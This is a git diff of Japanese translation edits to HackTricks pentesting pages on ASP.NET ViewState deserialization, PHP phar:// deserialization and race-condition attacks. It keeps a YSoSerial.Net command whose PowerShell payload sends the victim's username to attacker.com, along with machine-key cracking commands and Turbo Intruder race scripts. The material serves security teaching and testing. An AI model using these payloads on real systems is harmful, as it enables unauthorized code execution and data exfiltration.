<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
|
@ -87,7 +86,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
```
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は既知のmachineKeysを特定するための別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstateに対しては、"python blacklist3r"ユーティリティがあり、これが最も迅速な使用方法です。
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定することができる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstateに対しては、"python blacklist3r"ユーティリティがあり、これが最も簡単な使用方法です。
|
||||
|
||||
viewstateとgeneratorを直接指定することもできます。
|
||||
```
|
||||
|
@ -135,13 +134,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
|
||||
したがって、マシンキーが既知の場合(たとえば、ディレクトリトラバーサルの問題によって)、**Case 2** で使用される [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを使用して、ViewState の逆シリアル化の脆弱性を利用して RCE を実行することができます。
|
||||
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、脆弱性の悪用は失敗します(図参照)。
|
||||
* ViewState の逆シリアル化の脆弱性を悪用するためには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除する必要があります。そうしないと、Viewstate MAC の検証エラーが返され、エクスプロイトは失敗します(図参照):
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### テストケース:4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性を false に設定
|
||||
|
||||
以下のパラメータを web.config ファイル内に指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
以下のように、web.config ファイル内に次のパラメータを指定することで、ASP.NET フレームワークの使用を強制することができます。
|
||||
```markup
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
|
@ -172,11 +171,11 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
|||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
|
||||
有効なマシンキーが特定されたら、**次のステップは**[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**を使用してシリアライズされたペイロードを生成することです**。
|
||||
有効なマシンキーが特定されたら、**次のステップは**[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**を使用してシリアライズされたペイロードを生成することです。**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
`__VIEWSTATEGENERATOR`の値がある場合、その値を使用して`--generator`パラメータを試し、`--path`と`--apppath`パラメータを省略することができます。
|
||||
もし`__VIEWSTATEGENERATOR`の値を持っている場合、その値を使用して`--generator`パラメータを試し、`--path`と`--apppath`パラメータを省略することができます。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
|
@ -184,31 +183,31 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
|
||||
### テストケース6 - ViewStateUserKeysが使用されています
|
||||
|
||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードは処理されません**。\
|
||||
正しくペイロードを作成するために、もう1つのパラメータを使用する必要があります:
|
||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用することができます。アプリケーションでこのようなキーが定義されており、今までに説明した方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードは処理されない**でしょう。\
|
||||
正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功した攻撃の結果 <a href="#poc" id="poc"></a>
|
||||
|
||||
すべてのテストケースにおいて、ViewStateのYSoSerial.Netペイロードが**成功**した場合、サーバーは「**500 Internal server error**」という応答を返し、応答コンテンツに「**The state information is invalid for this page and might be corrupted**」と表示されます。また、以下の図に示すように、OOBリクエストを取得します。
|
||||
すべてのテストケースにおいて、ViewStateのYSoSerial.Netペイロードが**成功**した場合、サーバーは「**500 Internal server error**」という応答を返し、「**The state information is invalid for this page and might be corrupted**」という応答コンテンツを持っています。また、以下の図に示すように、OOBリクエストを取得します。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
現在のユーザー名を含むアウトオブバンドリクエスト
|
||||
現在のユーザー名を持つアウトオブバンドリクエスト
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、解読不能なものを解読することに興味があるなら、**採用しています**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい場合 - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -216,10 +215,10 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# phar://デシリアライゼーション
|
||||
# phar://デシリアライズ
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
この特性の最も良い点は、**file\_get\_contents()、fopen()、file()、file\_exists()、md5\_file()、filemtime()、filesize()**など、PHPコードを評価しないPHP関数を使用しても、このデシリアライズが発生することです。
|
||||
|
||||
したがって、**`phar://`**プロトコルを使用して、PHPウェブアプリケーションが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
したがって、**`phar://`**プロトコルを使用して、PHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そして、コードの中に次のような**クラス**を見つけることができます:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -85,9 +85,9 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたいのであれば、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -95,10 +95,10 @@ php vuln.php
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? **HackTricksであなたの会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,26 +12,26 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか**? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に送信**してください。
|
||||
|
||||
</details>
|
||||
|
||||
## RCの悪用
|
||||
|
||||
RCの悪用の主な問題は、リクエストが非常に短い時間差で並行して処理される必要があることです(通常、>1ms)。次のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
|
||||
RCの悪用の主な問題は、リクエストが非常に短い時間差(通常> 1ms)で並行して処理される必要があることです。次のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### シングルパケット攻撃(HTTP/2)/ ラストバイト同期(HTTP/1.1)
|
||||
|
||||
HTTP2では、**1つのTCP接続で2つのリクエストを送信**することができます(一方、HTTP/1.1では順次送信する必要があります)。\
|
||||
1つのTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、レースコンディション攻撃にも潜在的な可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**によるものです。これは、CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動です。
|
||||
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます(HTTP/1.1ではシーケンシャルである必要があります)。\
|
||||
シングルTCPパケットの使用は、ネットワークの揺らぎの影響を完全に**排除**するため、レースコンディション攻撃にも潜在的な可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**(CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動)のためです。
|
||||
|
||||
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20-30のリクエストを完了**することができます。
|
||||
しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20〜30のリクエストを完了**することができます。
|
||||
|
||||
**各リクエストの大部分を事前に送信**するには:
|
||||
|
||||
|
@ -42,7 +42,7 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**すること
|
|||
|
||||
- 初期フレームが送信されたことを確認するために、100ms待ちます。
|
||||
- TCP\_NODELAYが無効になっていることを確認します。Nagleのアルゴリズムが最終フレームをバッチ処理することが重要です。
|
||||
- ローカル接続をウォームアップするためにpingパケットを送信します。これを行わないと、OSのネットワークスタックは最初の最終フレームを別のパケットに配置します。
|
||||
- ローカル接続をウォームアップするためにpingパケットを送信します。これを行わないと、OSネットワークスタックは最初の最終フレームを別のパケットに配置します。
|
||||
|
||||
最後に、保留していたフレームを送信します。Wiresharkを使用して、それらが1つのパケットに着地したことを確認できるはずです。
|
||||
|
||||
|
@ -50,15 +50,15 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**すること
|
|||
特定のサーバーの静的ファイルでは**機能しません**が、静的ファイルはレースコンディション攻撃には関係ありません。しかし、静的ファイルはRC攻撃には関係ありません。
|
||||
{% endhint %}
|
||||
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20-30のリクエストがサーバーに同時に到着することができます。
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20〜30のリクエストがサーバーに同時に到着することができます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ターゲットアーキテクチャに適応する**
|
||||
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成する場合があります。
|
||||
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にいくつかの無関係なリクエストをサーバーサイドで行うことにより、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にサーバーサイドの接続ウォーミングを実行することで、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
|
||||
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
|
@ -71,13 +71,13 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**すること
|
|||
|
||||
Turbo Intruderを使用すると、クライアント側で短い遅延を導入することができます。ただし、これには実際の攻撃リクエストを複数のTCPパケットに分割する必要があるため、シングルパケット攻撃技術を使用することはできません。その結果、高ジッターターゲットでは、どのような遅延を設定しても攻撃が確実に機能しない可能性があります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決することができるかもしれません。
|
||||
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決できる場合があります。
|
||||
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがよくあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
この技術についての詳細は、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを参照してください。
|
||||
|
@ -85,11 +85,11 @@ Webサーバーは、リクエストがあまりにも速く送信された場
|
|||
|
||||
#### 攻撃の例
|
||||
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように選択します。次に、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内の**`%s`**のようなブルートフォースしたい値を変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます:
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます。
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -130,21 +130,21 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* バープスイートの新しい「並列でグループを送信」オプションを使用して、**リピータ**でも利用できます。
|
||||
* **リミットオーバーラン**の場合、グループに**同じリクエストを50回**追加するだけです。
|
||||
* **接続ウォーミング**の場合、ウェブサーバの非静的な部分にいくつかのリクエストをグループの**先頭**に**追加**することができます。
|
||||
* 2つのサブステートステップで**1つのリクエストともう1つのリクエストの間の処理を遅延**する場合、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **マルチエンドポイント**のRCの場合、**隠れた状態に移動するリクエスト**を送信し、その後**50のリクエスト**を送信して**隠れた状態を悪用**します。
|
||||
* また、Burp Suiteの新しい「**Send group in parallel**」オプションを使用して、**Repeater**でも利用できます。
|
||||
* **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけです。
|
||||
* **connection warming**の場合、ウェブサーバーの非静的な部分にいくつかのリクエストをグループの**先頭**に**追加**することができます。
|
||||
* 2つのサブステートステップで**1つのリクエストともう1つのリクエストの間の処理を遅延**させるためには、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **multi-endpoint**のRCの場合、**隠れた状態に移動するリクエスト**を送信し、その後**50のリクエスト**を送信して**隠れた状態を悪用**します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
以前の研究の前に、RCを引き起こすためにパケットをできるだけ速く送信しようとするいくつかのペイロードが使用されました。
|
||||
|
||||
* **リピータ:** 前のセクションの例を確認してください。
|
||||
* **イントルーダ:** **リクエスト**を**イントルーダ**に送信し、**オプションメニュー**で**スレッド数**を**30**に設定し、ペイロードとして**ヌルペイロード**を選択して**30**を生成します。
|
||||
* **ターボイントルーダ**
|
||||
* **Repeater:** 前のセクションの例を参照してください。
|
||||
* **Intruder**: **リクエスト**を**Intruder**に送信し、**オプションメニュー**で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -191,71 +191,71 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC Methodology**
|
||||
## **RCの方法論**
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
### 制限オーバーラン/TOCTOU
|
||||
|
||||
これは最も基本的な競合状態のタイプであり、**アクションの実行回数を制限する場所に現れる脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
|
||||
これは最も基本的なタイプの競合状態であり、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
|
||||
|
||||
この種の攻撃にはさまざまなバリエーションがあります。例えば:
|
||||
この種の攻撃にはさまざまなバリエーションがあります。
|
||||
|
||||
- ギフトカードを複数回利用する
|
||||
- 製品に複数回評価を付ける
|
||||
- 口座残高を超えて現金を引き出すまたは送金する
|
||||
- 単一のCAPTCHAソリューションを再利用する
|
||||
- 反復試行防止の制限をバイパスする
|
||||
* ギフトカードを複数回利用する
|
||||
* 製品に複数回評価を付ける
|
||||
* 口座残高を超えて現金を引き出すまたは送金する
|
||||
* 単一のCAPTCHAソリューションを再利用する
|
||||
* 反ブルートフォースのレート制限をバイパスする
|
||||
|
||||
### **Hidden substates**
|
||||
### **隠れたサブステート**
|
||||
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていなかった状態を悪用できる**マシンのサブステート**を利用しますが、攻撃者がアクセスできる**小さなウィンドウ**があります。
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できるマシンのサブステートを悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
|
||||
